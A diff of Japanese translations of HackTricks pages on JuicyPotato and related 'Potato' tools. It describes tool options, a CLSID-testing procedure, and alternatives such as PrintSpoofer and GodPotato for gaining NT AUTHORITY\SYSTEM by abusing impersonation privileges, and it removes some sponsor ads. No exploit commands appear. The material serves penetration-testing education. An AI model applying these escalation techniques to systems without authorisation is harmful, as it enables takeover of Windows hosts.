_偽装されたユーザーの特権に応じて、次のいずれかを選択できます:_ +* **プロセス作成モード** _偽装されたユーザーの特権に応じて、次のいずれかを選択できます:_ * `CreateProcessWithToken`(`SeImpersonate`が必要) * `CreateProcessAsUser`(`SeAssignPrimaryToken`が必要) * `両方` @@ -76,7 +62,7 @@ JuicyPotatoを使用すると、次のことができます: * **プロセス引数** _起動するプロセスの引数をカスタマイズします_ * **RPCサーバーアドレス** _ステルスアプローチのために、外部RPCサーバーに認証できます_ * **RPCサーバーポート** _外部サーバーに認証したい場合に便利で、ファイアウォールがポート`135`をブロックしている場合…_ -* **テストモード** _主にテスト目的、つまりCLSIDのテストです。DCOMを作成し、トークンのユーザーを表示します。_ [_テスト用はこちら_](http://ohpe.it/juicy-potato/Test/) +* **テストモード** _主にテスト目的、つまりCLSIDのテスト。DCOMを作成し、トークンのユーザーを表示します。テストについては_ [_こちらを参照_](http://ohpe.it/juicy-potato/Test/) ### 使用法 ``` @@ -144,7 +130,7 @@ c:\Users\Public> [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)をダウンロードしてPSセッションに読み込み、[GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)をダウンロードして実行します。そのスクリプトはテストする可能性のあるCLSIDのリストを作成します。 -次に[test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)をダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。これにより、すべてのCLSIDを試し始め、**ポート番号が変更されると、CLSIDが機能したことを意味します**。 +次に[test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)をダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。すべてのCLSIDを試し始め、**ポート番号が変更されると、それはCLSIDが機能したことを意味します**。 **-cパラメータを使用して**動作するCLSIDを**確認してください** @@ -152,17 +138,6 @@ c:\Users\Public> * [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -173,7 +148,7 @@ GCPハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricksをサポートする -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **stealer malwares** によって **侵害** されているかどうかを確認するための **無料** 機能を提供します。 - -WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - {% hint style="warning" %} -**JuicyPotatoは** Windows Server 2019 および Windows 10 build 1809 以降では動作しません。しかし、 [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**、** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**、** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**、** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** は、**同じ特権を利用して `NT AUTHORITY\SYSTEM`** レベルのアクセスを取得するために使用できます。この [ブログ記事](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) は、JuicyPotato がもはや動作しない Windows 10 および Server 2019 ホストでの偽装特権を悪用するために使用できる `PrintSpoofer` ツールについて詳しく説明しています。 +**JuicyPotatoは** Windows Server 2019およびWindows 10ビルド1809以降では動作しません。しかし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**、** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**、** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**、** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)**は、**同じ特権を利用して`NT AUTHORITY\SYSTEM`**レベルのアクセスを取得するために使用できます。この[ブログ投稿](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)では、JuicyPotatoがもはや動作しないWindows 10およびServer 2019ホストでの偽装特権を悪用するために使用できる`PrintSpoofer`ツールについて詳しく説明しています。 {% endhint %} -## Quick Demo +## クイックデモ ### PrintSpoofer ```bash @@ -117,29 +103,18 @@ nt authority\system * [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato) * [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **スティーラーマルウェア** によって **侵害された** かどうかを確認するための **無料** 機能を提供しています。 - -WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料** でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -AWS ハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP ハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を送信してください。** +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %}